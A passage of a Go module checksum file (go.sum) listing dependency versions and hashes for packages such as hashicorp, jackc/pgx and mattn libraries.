h1:dvDLG8qkwmyD9a/MJJN3XJcT3xFxOKAvTZGvuZmac9g=\ngithub.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY=\ngithub.com/gorilla/websocket v1.4.0/go.mod h1:E7qHFY5m1UJ88s3WnNqhKjPHQ0heANvMoAMk2YaljkQ=\ngithub.com/grpc-ecosystem/go-grpc-middleware v1.0.0/go.mod h1:FiyG127CGDf3tlThmgyCl78X/SZQqEOJBCDaAfeWzPs=\ngithub.com/grpc-ecosystem/go-grpc-middleware v1.3.0 h1:+9834+KizmvFV7pXQGSXQTsaWhq2GjuNUt0aUU0YBYw=\ngithub.com/grpc-ecosystem/go-grpc-middleware v1.3.0/go.mod h1:z0ButlSOZa5vEBq9m2m2hlwIgKw+rp3sdCBRoJY+30Y=\ngithub.com/grpc-ecosystem/go-grpc-prometheus v1.2.0 h1:Ovs26xHkKqVztRpIrF/92BcuyuQ/YW4NSIpoGtfXNho=\ngithub.com/grpc-ecosystem/go-grpc-prometheus v1.2.0/go.mod h1:8NvIoxWQoOIhqOTXgfV/d3M/q6VIi02HzZEHgUlZvzk=\ngithub.com/grpc-ecosystem/grpc-gateway v1.9.0/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY=\ngithub.com/grpc-ecosystem/grpc-gateway v1.16.0 h1:gmcG1KaJ57LophUzW0Hy8NmPhnMZb4M0+kPpLofRdBo=\ngithub.com/grpc-ecosystem/grpc-gateway v1.16.0/go.mod h1:BDjrQk3hbvj6Nolgz8mAMFbcEtjT1g+wF4CSlocrBnw=\ngithub.com/hashicorp/consul/api v1.1.0/go.mod h1:VmuI/Lkw1nC05EYQWNKwWGbkg+FbDBtguAZLlVdkD9Q=\ngithub.com/hashicorp/consul/api v1.12.0/go.mod h1:6pVBMo0ebnYdt2S3H87XhekM/HHrUoTD2XXb/VrZVy0=\ngithub.com/hashicorp/consul/sdk v0.1.1/go.mod h1:VKf9jXwCTEY1QZP2MOLRhb5i/I/ssyNV1vwHyQBF0x8=\ngithub.com/hashicorp/consul/sdk v0.8.0/go.mod h1:GBvyrGALthsZObzUGsfgHZQDXjg4lOjagTIwIR1vPms=\ngithub.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4=\ngithub.com/hashicorp/go-cleanhttp v0.5.0/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80=\ngithub.com/hashicorp/go-cleanhttp v0.5.1/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80=\ngithub.com/hashicorp/go-cleanhttp v0.5.2/go.mod h1:kO/YDlP8L1346E6Sodw+PrpBSV4/SoxCXGY6BqNFT48=\ngithub.com/hashicorp/go-hclog v0.12.0/go.mod h1:whpDNt7SSdeAju8AWKIWsul05p54N/39EeqMAyrmvFQ=\ngithub.com/hashicorp/go-hclog v1.2.0/go.mod h1:whpDNt7SSdeAju8AWKIWsul05p54N/39EeqMAyrmvFQ=\ngithub.com/hashicorp/go-immutable-radix v1.0.0/go.mod h1:0y9vanUI8NX6FsYoO3zeMjhV/C5i9g4Q3DwcSNZ4P60=\ngithub.com/hashicorp/go-immutable-radix v1.3.1/go.mod h1:0y9vanUI8NX6FsYoO3zeMjhV/C5i9g4Q3DwcSNZ4P60=\ngithub.com/hashicorp/go-msgpack v0.5.3/go.mod h1:ahLV/dePpqEmjfWmKiqvPkv/twdG7iPBM1vqhUKIvfM=\ngithub.com/hashicorp/go-multierror v1.0.0/go.mod h1:dHtQlpGsu+cZNNAkkCN/P3hoUDHhCYQXV3UM06sGGrk=\ngithub.com/hashicorp/go-multierror v1.1.0/go.mod h1:spPvp8C1qA32ftKqdAHm4hHTbPw+vmowP0z+KUhOZdA=\ngithub.com/hashicorp/go-retryablehttp v0.5.3/go.mod h1:9B5zBasrRhHXnJnui7y6sL7es7NDiJgTc6Er0maI1Xs=\ngithub.com/hashicorp/go-rootcerts v1.0.0/go.mod h1:K6zTfqpRlCUIjkwsN4Z+hiSfzSTQa6eBIzfwKfwNnHU=\ngithub.com/hashicorp/go-rootcerts v1.0.2/go.mod h1:pqUvnprVnM5bf7AOirdbb01K4ccR319Vf4pU3K5EGc8=\ngithub.com/hashicorp/go-sockaddr v1.0.0/go.mod h1:7Xibr9yA9JjQq1JpNB2Vw7kxv8xerXegt+ozgdvDeDU=\ngithub.com/hashicorp/go-syslog v1.0.0/go.mod h1:qPfqrKkXGihmCqbJM2mZgkZGvKG1dFdvsLplgctolz4=\ngithub.com/hashicorp/go-uuid v1.0.0/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=\ngithub.com/hashicorp/go-uuid v1.0.1/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=\ngithub.com/hashicorp/go.net v0.0.1/go.mod h1:hjKkEWcCURg++eb33jQU7oqQcI9XDCnUzHA0oac0k90=\ngithub.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8=\ngithub.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8=\ngithub.com/hashicorp/golang-lru v0.5.4/go.mod h1:iADmTwqILo4mZ8BN3D2Q6+9jd8WM5uGBxy+E8yxSoD4=\ngithub.com/hashicorp/hcl v1.0.0 h1:0Anlzjpi4vEasTeNFn2mLJgTSwt0+6sfsiTG8qcWGx4=\ngithub.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ=\ngithub.com/hashicorp/logutils v1.0.0/go.mod h1:QIAnNjmIWmVIIkWDTG1z5v++HQmx9WQRO+LraFDTW64=\ngithub.com/hashicorp/mdns v1.0.0/go.mod h1:tL+uN++7HEJ6SQLQ2/p+z2pH24WQKWjBPkE0mNTz8vQ=\ngithub.com/hashicorp/mdns v1.0.4/go.mod h1:mtBihi+LeNXGtG8L9dX59gAEa12BDtBQSp4v/YAJqrc=\ngithub.com/hashicorp/memberlist v0.1.3/go.mod h1:ajVTdAv/9Im8oMAAj5G31PhhMCZJV2pPBoIllUwCN7I=\ngithub.com/hashicorp/memberlist v0.3.0/go.mod h1:MS2lj3INKhZjWNqd3N0m3J+Jxf3DAOnAH9VT3Sh9MUE=\ngithub.com/hashicorp/serf v0.8.2/go.mod h1:6hOLApaqBFA1NXqRQAsxw9QxuDEvNxSQRwA/JwenrHc=\ngithub.com/hashicorp/serf v0.9.6/go.mod h1:TXZNMjZQijwlDvp+r0b63xZ45H7JmCmgg4gpTwn9UV4=\ngithub.com/hashicorp/serf v0.9.7/go.mod h1:TXZNMjZQijwlDvp+r0b63xZ45H7JmCmgg4gpTwn9UV4=\ngithub.com/huandu/xstrings v1.0.0/go.mod h1:4qWG/gcEcfX4z/mBDHJ++3ReCw9ibxbsNJbcucJdbSo=\ngithub.com/huandu/xstrings v1.3.2/go.mod h1:y5/lhBue+AyNmUVz9RLU9xbLR0o4KIIExikq4ovT0aE=\ngithub.com/ianlancetaylor/demangle v0.0.0-20181102032728-5e5cf60278f6/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc=\ngithub.com/ianlancetaylor/demangle v0.0.0-20200824232613-28f6c0f3b639/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc=\ngithub.com/imdario/mergo v0.3.4/go.mod h1:2EnlNZ0deacrJVfApfmtdGgDfMuh/nq6Ok1EcJh5FfA=\ngithub.com/imdario/mergo v0.3.13/go.mod h1:4lJ1jqUDcsbIECGy0RUJAXNIhg+6ocWgb1ALK2O4oXg=\ngithub.com/inconshreveable/mousetrap v1.0.0 h1:Z8tu5sraLXCXIcARxBp/8cbvlwVa7Z1NHg9XEKhtSvM=\ngithub.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8=\ngithub.com/jackc/chunkreader v1.0.0 h1:4s39bBR8ByfqH+DKm8rQA3E1LHZWB9XWcrz8fqaZbe0=\ngithub.com/jackc/chunkreader v1.0.0/go.mod h1:RT6O25fNZIuasFJRyZ4R/Y2BbhasbmZXF9QQ7T3kePo=\ngithub.com/jackc/chunkreader/v2 v2.0.0/go.mod h1:odVSm741yZoC3dpHEUXIqA9tQRhFrgOHwnPIn9lDKlk=\ngithub.com/jackc/chunkreader/v2 v2.0.1 h1:i+RDz65UE+mmpjTfyz0MoVTnzeYxroil2G82ki7MGG8=\ngithub.com/jackc/chunkreader/v2 v2.0.1/go.mod h1:odVSm741yZoC3dpHEUXIqA9tQRhFrgOHwnPIn9lDKlk=\ngithub.com/jackc/pgconn v0.0.0-20190420214824-7e0022ef6ba3/go.mod h1:jkELnwuX+w9qN5YIfX0fl88Ehu4XC3keFuOJJk9pcnA=\ngithub.com/jackc/pgconn v0.0.0-20190824142844-760dd75542eb/go.mod h1:lLjNuW/+OfW9/pnVKPazfWOgNfH2aPem8YQ7ilXGvJE=\ngithub.com/jackc/pgconn v0.0.0-20190831204454-2fabfa3c18b7/go.mod h1:ZJKsE/KZfsUgOEh9hBm+xYTstcNHg7UPMVJqRfQxq4s=\ngithub.com/jackc/pgconn v1.8.0/go.mod h1:1C2Pb36bGIP9QHGBYCjnyhqu7Rv3sGshaQUvmfGIB/o=\ngithub.com/jackc/pgconn v1.9.0/go.mod h1:YctiPyvzfU11JFxoXokUOOKQXQmDMoJL9vJzHH8/2JY=\ngithub.com/jackc/pgconn v1.9.1-0.20210724152538-d89c8390a530/go.mod h1:4z2w8XhRbP1hYxkpTuBjTS3ne3J48K83+u0zoyvg2pI=\ngithub.com/jackc/pgconn v1.12.1 h1:rsDFzIpRk7xT4B8FufgpCCeyjdNpKyghZeSefViE5W8=\ngithub.com/jackc/pgconn v1.12.1/go.mod h1:ZkhRC59Llhrq3oSfrikvwQ5NaxYExr6twkdkMLaKono=\ngithub.com/jackc/pgio v1.0.0 h1:g12B9UwVnzGhueNavwioyEEpAmqMe1E/BN9ES+8ovkE=\ngithub.com/jackc/pgio v1.0.0/go.mod h1:oP+2QK2wFfUWgr+gxjoBH9KGBb31Eio69xUb0w5bYf8=\ngithub.com/jackc/pgmock v0.0.0-20190831213851-13a1b77aafa2/go.mod h1:fGZlG77KXmcq05nJLRkk0+p82V8B8Dw8KN2/V9c/OAE=\ngithub.com/jackc/pgmock v0.0.0-20201204152224-4fe30f7445fd/go.mod h1:hrBW0Enj2AZTNpt/7Y5rr2xe/9Mn757Wtb2xeBzPv2c=\ngithub.com/jackc/pgmock v0.0.0-20210724152146-4ad1a8207f65/go.mod h1:5R2h2EEX+qri8jOWMbJCtaPWkrrNc7OHwsp2TCqp7ak=\ngithub.com/jackc/pgpassfile v1.0.0 h1:/6Hmqy13Ss2zCq62VdNG8tM1wchn8zjSGOBJ6icpsIM=\ngithub.com/jackc/pgpassfile v1.0.0/go.mod h1:CEx0iS5ambNFdcRtxPj5JhEz+xB6uRky5eyVu/W2HEg=\ngithub.com/jackc/pgproto3 v1.1.0 h1:FYYE4yRw+AgI8wXIinMlNjBbp/UitDJwfj5LqqewP1A=\ngithub.com/jackc/pgproto3 v1.1.0/go.mod h1:eR5FA3leWg7p9aeAqi37XOTgTIbkABlvcPB3E5rlc78=\ngithub.com/jackc/pgproto3/v2 v2.0.0-alpha1.0.20190420180111-c116219b62db/go.mod h1:bhq50y+xrl9n5mRYyCBFKkpRVTLYJVWeCc+mEAI3yXA=\ngithub.com/jackc/pgproto3/v2 v2.0.0-alpha1.0.20190609003834-432c2951c711/go.mod h1:uH0AWtUmuShn0bcesswc4aBTWGvw0cAxIJp+6OB//Wg=\ngithub.com/jackc/pgproto3/v2 v2.0.0-rc3/go.mod h1:ryONWYqW6dqSg1Lw6vXNMXoBJhpzvWKnT95C46ckYeM=\ngithub.com/jackc/pgproto3/v2 v2.0.0-rc3.0.20190831210041-4c03ce451f29/go.mod h1:ryONWYqW6dqSg1Lw6vXNMXoBJhpzvWKnT95C46ckYeM=\ngithub.com/jackc/pgproto3/v2 v2.0.6/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA=\ngithub.com/jackc/pgproto3/v2 v2.1.1/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA=\ngithub.com/jackc/pgproto3/v2 v2.3.0 h1:brH0pCGBDkBW07HWlN/oSBXrmo3WB0UvZd1pIuDcL8Y=\ngithub.com/jackc/pgproto3/v2 v2.3.0/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA=\ngithub.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b h1:C8S2+VttkHFdOOCXJe+YGfa4vHYwlt4Zx+IVXQ97jYg=\ngithub.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b/go.mod h1:vsD4gTJCa9TptPL8sPkXrLZ+hDuNrZCnj29CQpr4X1E=\ngithub.com/jackc/pgtype v0.0.0-20190421001408-4ed0de4755e0/go.mod h1:hdSHsc1V01CGwFsrv11mJRHWJ6aifDLfdV3aVjFF0zg=\ngithub.com/jackc/pgtype v0.0.0-20190824184912-ab885b375b90/go.mod h1:KcahbBH1nCMSo2DXpzsoWOAfFkdEtEJpPbVLq8eE+mc=\ngithub.com/jackc/pgtype v0.0.0-20190828014616-a8802b16cc59/go.mod h1:MWlu30kVJrUS8lot6TQqcg7mtthZ9T0EoIBFiJcmcyw=\ngithub.com/jackc/pgtype v1.8.1-0.20210724151600-32e20a603178/go.mod h1:C516IlIV9NKqfsMCXTdChteoXmwgUceqaLfjg2e3NlM=\ngithub.com/jackc/pgtype v1.11.0 h1:u4uiGPz/1hryuXzyaBhSk6dnIyyG2683olG2OV+UUgs=\ngithub.com/jackc/pgtype v1.11.0/go.mod h1:LUMuVrfsFfdKGLw+AFFVv6KtHOFMwRgDDzBt76IqCA4=\ngithub.com/jackc/pgx/v4 v4.0.0-20190420224344-cc3461e65d96/go.mod h1:mdxmSJJuR08CZQyj1PVQBHy9XOp5p8/SHH6a0psbY9Y=\ngithub.com/jackc/pgx/v4 v4.0.0-20190421002000-1b8f0016e912/go.mod h1:no/Y67Jkk/9WuGR0JG/JseM9irFbnEPbuWV2EELPNuM=\ngithub.com/jackc/pgx/v4 v4.0.0-pre1.0.20190824185557-6972a5742186/go.mod h1:X+GQnOEnf1dqHGpw7JmHqHc1NxDoalibchSk9/RWuDc=\ngithub.com/jackc/pgx/v4 v4.12.1-0.20210724153913-640aa07df17c/go.mod h1:1QD0+tgSXP7iUjYm9C1NxKhny7lq6ee99u/z+IHFcgs=\ngithub.com/jackc/pgx/v4 v4.16.1 h1:JzTglcal01DrghUqt+PmzWsZx/Yh7SC/CTQmSBMTd0Y=\ngithub.com/jackc/pgx/v4 v4.16.1/go.mod h1:SIhx0D5hoADaiXZVyv+3gSm3LCIIINTVO0PficsvWGQ=\ngithub.com/jackc/puddle v0.0.0-20190413234325-e4ced69a3a2b/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=\ngithub.com/jackc/puddle v0.0.0-20190608224051-11cab39313c9/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=\ngithub.com/jackc/puddle v1.1.3/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=\ngithub.com/jackc/puddle v1.2.1/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=\ngithub.com/jaswdr/faker v1.4.3/go.mod h1:x7ZlyB1AZqwqKZgyQlnqEG8FDptmHlncA5u2zY/yi6w=\ngithub.com/jonboulle/clockwork v0.1.0/go.mod h1:Ii8DK3G1RaLaWxj9trq07+26W01tbo22gdxWY5EU2bo=\ngithub.com/jpillora/backoff v1.0.0/go.mod h1:J/6gKK9jxlEcS3zixgDgUAsiuZ7yrSoa/FX5e0EB2j4=\ngithub.com/json-iterator/go v1.1.6/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU=\ngithub.com/json-iterator/go v1.1.9/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4=\ngithub.com/json-iterator/go v1.1.10/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4=\ngithub.com/json-iterator/go v1.1.11/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4=\ngithub.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo=\ngithub.com/jstemmer/go-junit-report v0.0.0-20190106144839-af01ea7f8024/go.mod h1:6v2b51hI/fHJwM22ozAgKL4VKDeJcHhJFhtBdhmNjmU=\ngithub.com/jstemmer/go-junit-report v0.9.1/go.mod h1:Brl9GWCQeLvo8nXZwPNNblvFj/XSXhF0NWZEnDohbsk=\ngithub.com/jtolds/gls v4.20.0+incompatible/go.mod h1:QJZ7F/aHp+rZTRtaJ1ow/lLfFfVYBRgL+9YlvaHOwJU=\ngithub.com/julienschmidt/httprouter v1.2.0/go.mod h1:SYymIcj16QtmaHHD7aYtjjsJG7VTCxuUUipMqKk8s4w=\ngithub.com/julienschmidt/httprouter v1.3.0/go.mod h1:JR6WtHb+2LUe8TCKY3cZOxFyyO8IZAc4RVcycCCAKdM=\ngithub.com/kisielk/errcheck v1.1.0/go.mod h1:EZBBE59ingxPouuu3KfxchcWSUPOHkagtvWXihfKN4Q=\ngithub.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8=\ngithub.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck=\ngithub.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=\ngithub.com/konsorten/go-windows-terminal-sequences v1.0.2/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=\ngithub.com/konsorten/go-windows-terminal-sequences v1.0.3/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=\ngithub.com/kr/fs v0.1.0/go.mod h1:FFnZGqtBN9Gxj7eW1uZ42v5BccTP0vu6NEaFoC2HwRg=\ngithub.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc=\ngithub.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo=\ngithub.com/kr/pretty v0.2.0/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI=\ngithub.com/kr/pretty v0.3.0 h1:WgNl7dwNpEZ6jJ9k1snq4pZsg7DOEN8hP9Xw0Tsjwk0=\ngithub.com/kr/pretty v0.3.0/go.mod h1:640gp4NfQd8pI5XOwp5fnNeVWj67G7CFk/SaSQn7NBk=\ngithub.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=\ngithub.com/kr/pty v1.1.8/go.mod h1:O1sed60cT9XZ5uDucP5qwvh+TE3NnUj51EiZO/lmSfw=\ngithub.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=\ngithub.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=\ngithub.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=\ngithub.com/lib/pq v1.0.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo=\ngithub.com/lib/pq v1.1.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo=\ngithub.com/lib/pq v1.2.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo=\ngithub.com/lib/pq v1.10.2 h1:AqzbZs4ZoCBp+GtejcpCpcxM3zlSMx29dXbUSeVtJb8=\ngithub.com/lib/pq v1.10.2/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o=\ngithub.com/magiconair/properties v1.8.0/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ=\ngithub.com/magiconair/properties v1.8.1/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ=\ngithub.com/magiconair/properties v1.8.5/go.mod h1:y3VJvCyxH9uVvJTWEGAELF3aiYNyPKd5NZ3oSwXrF60=\ngithub.com/magiconair/properties v1.8.6 h1:5ibWZ6iY0NctNGWo87LalDlEZ6R41TqbbDamhfG/Qzo=\ngithub.com/magiconair/properties v1.8.6/go.mod h1:y3VJvCyxH9uVvJTWEGAELF3aiYNyPKd5NZ3oSwXrF60=\ngithub.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU=\ngithub.com/mattn/go-colorable v0.1.1/go.mod h1:FuOcm+DKB9mbwrcAfNl7/TZVBZ6rcnceauSikq3lYCQ=\ngithub.com/mattn/go-colorable v0.1.4/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=\ngithub.com/mattn/go-colorable v0.1.6/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=\ngithub.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=\ngithub.com/mattn/go-colorable v0.1.12/go.mod h1:u5H1YNBxpqRaxsYJYSkiCWKzEfiAb1Gb520KVy5xxl4=\ngithub.com/mattn/go-isatty v0.0.3/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4=\ngithub.com/mattn/go-isatty v0.0.5/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=\ngithub.com/mattn/go-isatty v0.0.7/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=\ngithub.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=\ngithub.com/mattn/go-isatty v0.0.10/go.mod h1:qgIWMr58cqv1PHHyhnkY9lrL7etaEgOFcMEpPG5Rm84=\ngithub.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOAqxQCu2WE=\ngithub.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=\ngithub.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94=\ngithub.com/mattn/go-runewidth v0.0.2/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU=\ngithub.com/mattn/go-runewidth v0.0.3/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU=\ngithub.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=\ngithub.com/mattn/go-runewidth v0.0.13/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=\ngithub.com/mattn/goveralls v0.0.11/go.mod h1:gU8SyhNswsJKchEV93xRQxX6X3Ei4PJdQk/6ZHvrvRk=\ngithub.com/matttproud/golang_protobuf_extensions v1.0.1 h1:4hp9jkHxhMHkqkrB3Ix0jegS5sx/RkqARlsWZ6pIwiU=\ngithub.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0=\ngithub.com/miekg/dns v1.0.14/go.mod h1:W1PPwlIAgtquWBMBEV9nkV9Cazfe8ScdGz/Lj7v3Nrg=\ngithub.com/miekg/dns v1.1.26/go.mod h1:bPDLeHnStXmXAq1m/Ch/hvfNHr14JKNPMBo3VZKjuso=\ngithub.com/miekg/dns v1.1.41/go.mod h1:p6aan82bvRIyn+zDIv9xYNUpwa73JcSh9BKwknJysuI=\ngithub.com/mitchellh/cli v1.0.0/go.mod h1:hNIlj7HEI86fIcpObd7a0FcrxTWetlwJDGcceTlRvqc=\ngithub.com/mitchellh/cli v1.1.0/go.mod h1:xcISNoH86gajksDmfB23e/pu+B+GeFRMYmoHXxx3xhI=\ngithub.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db/go.mod h1:l0dey0ia/Uv7NcFFVbCLtqEBQbrT4OCwCSKTEv6enCw=\ngithub.com/mitchellh/copystructure v1.2.0/go.mod h1:qLl+cE2AmVv+CoeAwDPye/v+N2HKCj9FbZEVFJRxO9s=\ngithub.com/mitchellh/go-homedir v1.0.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0=\ngithub.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0=\ngithub.com/mitchellh/go-testing-interface v1.0.0/go.mod h1:kRemZodwjscx+RGhAo8eIhFbs2+BFgRtFPeD/KE+zxI=\ngithub.com/mitchellh/go-wordwrap v0.0.0-20150314170334-ad45545899c7/go.mod h1:ZXFpozHsX6DPmq2I0TCekCxypsnAUbP2oI0UX1GXzOo=\ngithub.com/mitchellh/go-wordwrap v1.0.1/go.mod h1:R62XHJLzvMFRBbcrT7m7WgmE1eOyTSsCt+hzestvNj0=\ngithub.com/mitchellh/gox v0.4.0/go.mod h1:Sd9lOJ0+aimLBi73mGofS1ycjY8lL3uZM3JPS42BGNg=\ngithub.com/mitchellh/iochan v1.0.0/go.mod h1:JwYml1nuB7xOzsp52dPpHFffvOCDupsG0QubkSMEySY=\ngithub.com/mitchellh/mapstructure v0.0.0-20160808181253-ca63d7c062ee/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y=\ngithub.com/mitchellh/mapstructure v1.1.2/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y=\ngithub.com/mitchellh/mapstructure v1.3.2/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo=\ngithub.com/mitchellh/mapstructure v1.4.1/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo=\ngithub.com/mitchellh/mapstructure v1.4.3/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo=\ngithub.com/mitchellh/mapstructure v1.5.0 h1:jeMsZIYE/09sWLaz43PL7Gy6RuMjD2eJVyuac5Z2hdY=\ngithub.com/mitchellh/mapstructure v1.5.0/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo=\ngithub.com/mitchellh/reflectwalk v1.0.2/go.mod h1:mSTlrgnPZtwu0c4WaC2kGObEpuNDbx0jmZXqmk4esnw=\ngithub.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=\ngithub.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=\ngithub.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0=\ngithub.com/modern-go/reflect2 v1.0.1/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0=\ngithub.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk=\ngithub.com/mwitkow/go-conntrack v0.0.0-20161129095857-cc309e4a2223/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U=\ngithub.com/mwitkow/go-conntrack v0.0.0-20190716064945-2f068394615f/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U=\ngithub.com/mwitkow/go-proto-validators v0.0.0-20180403085117-0950a7990007/go.mod h1:m2XC9Qq0AlmmVksL6FktJCdTYyLk7V3fKyp0sl1yWQo=\ngithub.com/nsf/termbox-go v0.0.0-20190121233118-02980233997d/go.mod h1:IuKpRQcYE1Tfu+oAQqaLisqDeXgjyyltCfsaoYN18NQ=\ngithub.com/nsf/termbox-go v1.1.1/go.mod 